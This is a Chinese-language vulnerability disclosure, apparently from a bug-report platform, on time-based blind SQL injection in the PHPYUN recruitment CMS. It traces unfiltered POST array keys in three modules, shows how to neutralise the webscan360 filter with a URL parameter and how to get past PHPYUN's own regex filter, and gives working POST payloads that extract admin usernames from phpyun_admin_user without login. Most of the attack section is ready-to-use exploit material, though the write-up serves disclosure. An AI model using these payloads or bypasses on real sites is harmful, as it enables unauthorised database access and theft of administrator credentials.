### 简要描述:
PHPYUN最新版Webscan绕过注入两处(可遍历全站信息,无需登录)
### 详细说明:
首先看问题文件:
tiny/index.class.php:
```
class index_controller extends common{
function index_action(){
session_start();
if($this->config['sy_wjl_web']=="2"){
header("location:".Url('error'));
}
if($_GET['keyword']=='请输入简历关键字,例如:会计'){
$_GET['keyword']='';
}
$M=$this->MODEL('tiny');
$ip = fun_ip_get();
$s_time=strtotime(date('Y-m-d 00:00:00'));
$m_tiny=$M->GetTinyresumeNum(array('login_ip'=>$ip,'`time`>\''.$s_time.'\''));
$num=$this->config['sy_tiny']-$m_tiny;
$CacheM=$this->MODEL('cache');
$CacheList=$CacheM->GetCache(array('user'));
$this->yunset($CacheList);
if($_POST['submit']){
$id=(int)$_POST['id'];
$authcode=md5($_POST['authcode']);
$password=md5($_POST['password']);
unset($_POST['authcode']);
unset($_POST['password']);
unset($_POST['submit']);
unset($_POST['id']);
$_POST['status']=$this->config['user_wjl'];
$_POST['login_ip']=$ip;
$_POST['time']=time();
$_POST['qq']=$_POST['qq'];
if($id!=""){
$arr=$M->GetTinyresumeOne(array('id'=>$id,'password'=>$password));
if(empty($arr)){
$this->ACT_layer_msg("密码不正确",8,$_SERVER['HTTP_REFERER']);
}
$M->UpdateTinyresume($_POST,array('id'=>$id));
```
跟踪UpdateTinyresume:
```
function UpdateTinyresume($Values=array(),$Where=array()){
$WhereStr=$this->FormatWhere($Where);
$ValuesStr=$this->FormatValues($Values);
return $this->DB_update_all('resume_tiny',$ValuesStr,$WhereStr);
}
```
继续跟踪FormatValues
```
function FormatValues($Values){
$ValuesStr='';
foreach($Values as $k=>$v){
if(is_numeric($k)){
$ValuesStr.=','.$v;
}else{
if(is_numeric($v)){
$ValuesStr.=',`'.$k.'`='.$v;
}else{
$ValuesStr.=',`'.$k.'`=\''.$v.'\'';
}
}
}
return substr($ValuesStr,1);
}
```
看到这里说明key没有进行过滤,同样的问题文件也有一处
wap/tiny.class.php:
```
function add_action(){
$this->rightinfo();
if($this->config['sy_wjl_web']=="2"){
$data['msg']='很抱歉!该模块已关闭!';
$data['url']='index.php';
$this->yunset("layer",$data);
}
$this->get_moblie();
$TinyM=$this->MODEL('tiny');
if($_GET['id']){
$row=$TinyM->GetTinyresumeOne(array('id'=>$_GET[id]));
$this->yunset("row",$row);
}
if($_POST['submit']){
$_POST['status']=$this->config['user_wjl'];
$_POST['time']=time();
$_POST['username']=yun_iconv('utf-8','gbk',trim($_POST['username']));
$_POST['production']=yun_iconv('utf-8','gbk',trim($_POST['production']));
$_POST['job']=yun_iconv('utf-8','gbk',trim($_POST['job']));
$password=md5(trim($_POST['password']));
$type=trim($_POST['type']);
unset($_POST['submit']);
unset($_POST['type']);
$id=intval($_POST['id']);
if(!isset($_POST['id'])){
$_POST['password']=$password;
$nid=$this->obj->insert_into("resume_tiny",$_POST);
$nid?$data['msg']='操作成功!':$data['msg']='操作失败!';
$data['url']='index.php?c=tiny';
}else{
$arr=$TinyM->GetTinyresumeOne(array('id'=>$id,'password'=>$password));
if($arr['id']){
if($_POST['id']){
unset($_POST['id']);
$nid=$TinyM->UpdateTinyresume($_POST,array("id"=>$arr['id']));
```
原理是一样的,我们就拿第一个分析一下:
phpyun 有webscan360的防御,我们可以通过在url中添加参数使他时效,例如
http://localhost/phpyun40https://images.seebug.org/upload/tiny/index.php?admin_dir=admin
然后phpyun也有自己的防御,但是这个可以绕过
```
function safesql($StrFiltKey,$StrFiltValue,$type){
$getfilter = "\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*(data|src)=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\\(\d+?|sleep\s*?\(.*\)|load_file\s*?\\()|<[a-z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|\\/\\*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$postfilter = "<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\\(\d+?|sleep\s*?\(.*\)|load_file\s*?\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|\\/\\*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$cookiefilter = "benchmark\s*?\\(\d+?|sleep\s*?\(.*\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|\\/\\*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
if($type=="GET")
{
$ArrFiltReq = $getfilter;
}elseif($type=="POST"){
$ArrFiltReq = $postfilter;
```
并且其中的空格会被替换为下划线
看看这个正则benchmark\s*?\\(\d+?
这个等于没有防御,benchmark((1000000),md5(123)),1)轻松就绕过了
有了这些条件,我们就可以轻松遍历整个数据库了
发送url:
http://localhost/phpyun40https://images.seebug.org/upload/tiny/index.php?admin_dir=admin
postdata:
username=test123&sex=7&exp=18&job=ccc&mobile=15802991419&qq=11111111&production`%3Dif(ascii(substr((select`username`from`phpyun_admin_user`),1,1))%3D97,benchmark((1000000),md5(123)),1)%23=xxxxxxxxxx&password=111111&authcode=ag31&id=1&submit=%B7%A2%B2%BC
这个我们就猜测出来admin表里面的username第一个字母为a
[<img src="https://images.seebug.org/upload/201507/14235623fe024c5461ea9b4bc9679c6440ff7918.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201507/14235623fe024c5461ea9b4bc9679c6440ff7918.png)
然后就可以全站遍历了
3、
friend/index.class.php:
```
function saveinfo_action(){
if($_POST['submitBtn']){
$M=$this->MODEL('friend');
unset($_POST['submitBtn']);
$nid=$M->SaveFriendInfo($_POST,array("uid"=>$this->uid));
if($nid){
$state_content = "我刚修改了个性签名
[".$_POST['description']."]。";
$this->addstate($state_content);
$M->member_log("修改朋友圈基本信息");
$this->ACT_layer_msg("更新成功!",9,$_SERVER['HTTP_REFERER']);
}else{
$this->ACT_layer_msg("更新失败!",8,$_SERVER['HTTP_REFERER']);
}
}
}
```
跟进函数:
SaveFriendInfo
```
function SaveFriendInfo($Values=array(),$Where=array()){
if(empty($Where)){
$ValuesStr=$this->FormatValues($Values);
return $this->DB_insert_once('friend_info',$ValuesStr);
}else{
$WhereStr=$this->FormatWhere($Where);
$ValuesStr=$this->FormatValues($Values);
return $this->DB_update_all('friend_info',$ValuesStr,$WhereStr);
}
}
```
跟进FormatValues:
```
function FormatValues($Values){
$ValuesStr='';
foreach($Values as $k=>$v){
if(is_numeric($k)){
$ValuesStr.=','.$v;
}else{
if(is_numeric($v)){
$ValuesStr.=',`'.$k.'`='.$v;
}else{
$ValuesStr.=',`'.$k.'`=\''.$v.'\'';
}
}
}
return substr($ValuesStr,1);
}
```
key没有进行过滤:
怎么绕过,前两个已经说过了,这里不多做赘述,这个直接不需要任何条件约束
url:
http://localhost/phpyun40https://images.seebug.org/upload/index.php?admin_dir=admin&c=index&m=friend&a=saveinfo
postdata:
uid`%3dif(ascii(substr((select`username`from`phpyun_admin_user`),1,1))%3d97,benchmark((1000000),md5(123)),1)%23=xxxxx&submitBtn=%B6%A9%D4%C4
[<img src="https://images.seebug.org/upload/201507/1601041799b41ae800ffac8a2f0e52a7487e45d3.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201507/1601041799b41ae800ffac8a2f0e52a7487e45d3.png)
4、once.class.php:
```
function add_action(){
$this->rightinfo();
if($this->config['sy_wzp_web']=="2"){
$data['msg']='很抱歉!该模块已关闭!';
$data['url']='index.php';
$this->yunset("layer",$data);
}
$this->get_moblie();
$TinyM=$this->MODEL('once');
if($_GET['id']){
$row=$TinyM->GetOncejobOne(array('id'=>$_GET[id]));
$row['edate']=round(($row['edate']-$row['ctime'])/3600/24) ;
$this->yunset("row",$row);
}
if($_POST['submit']){
$_POST=$this->post_trim($_POST);
$_POST['mans'] = (int)$_POST['mans'];
$_POST = yun_iconv('utf-8','gbk',$_POST);
$_POST['status']=$this->config['com_fast_status'];
$_POST['ctime']=time();
$_POST['edate']=strtotime("+".(int)$_POST['edate']." days");
$password=md5(trim($_POST['password']));
unset($_POST['submit']);
$id=intval($_POST['id']);
if($id<1){
$_POST['password']=$password;
$nid=$TinyM->AddOncejob($_POST);
$nid?$data['msg']='操作成功!':$data['msg']='操作失败!';
$data['url']='index.php?c=once';
}else{
$arr=$TinyM->GetOncejobOne(array('id'=>$id,'password'=>$password));
if($arr['id']){
if($_POST['id']){
unset($_POST['id']);
unset($_POST['password']);
$nid=$TinyM->UpdateOncejob($_POST,array("id"=>$arr['id']));
```
跟进去:
UpdateOncejob:
```
function UpdateOncejob($Values=array(),$Where=array()){
$WhereStr=$this->FormatWhere($Where);
$ValuesStr=$this->FormatValues($Values);
return $this->DB_update_all('once_job',$ValuesStr,$WhereStr);
}
```
再跟进FormatValues:
```
function FormatValues($Values){
$ValuesStr='';
foreach($Values as $k=>$v){
if(is_numeric($k)){
$ValuesStr.=','.$v;
}else{
if(is_numeric($v)){
$ValuesStr.=',`'.$k.'`='.$v;
}else{
$ValuesStr.=',`'.$k.'`=\''.$v.'\'';
}
}
}
return substr($ValuesStr,1);
}
```
key没有进行过滤:
有两个问题要解决,就是
if($arr['id']){
这个逻辑怎么成立
阅读上下,只要当传递的id小于1的时候就会进行
if($id<1){
$_POST['password']=$password;
$nid=$TinyM->AddOncejob($_POST);
也就是说第一次id访问为空的时候,数据库就会插入一条id=1的或者id>1的记录
url:
http://localhost/phpyun40https://images.seebug.org/upload/index.php?admin_dir=admin&c=once&m=wap&a=add
postdata:
mans=123&password=123&id=&submit=%B6%A9%D4%C4
[<img src="https://images.seebug.org/upload/201507/160046300fc541e7d526325bb414acba2fd51afd.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201507/160046300fc541e7d526325bb414acba2fd51afd.png)
然后我们后续就可以复制id为1,就可以走到问题的那个函数:
url:
http://localhost/phpyun40https://images.seebug.org/upload/index.php?admin_dir=admin&c=once&m=wap&a=add
postdata:
mans=123&password=123&id=1&title`%3dif(ascii(substr((select`username`from`phpyun_admin_user`),1,1))%3d97,benchmark((1000000),md5(123)),1)%23=xxxxx&submit=%B6%A9%D4%C4
[<img src="https://images.seebug.org/upload/201507/16004746e8a7f214bb310c32dc2c4dbc7005cd6c.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201507/16004746e8a7f214bb310c32dc2c4dbc7005cd6c.png)
造成延时
### 漏洞证明:
暂无评论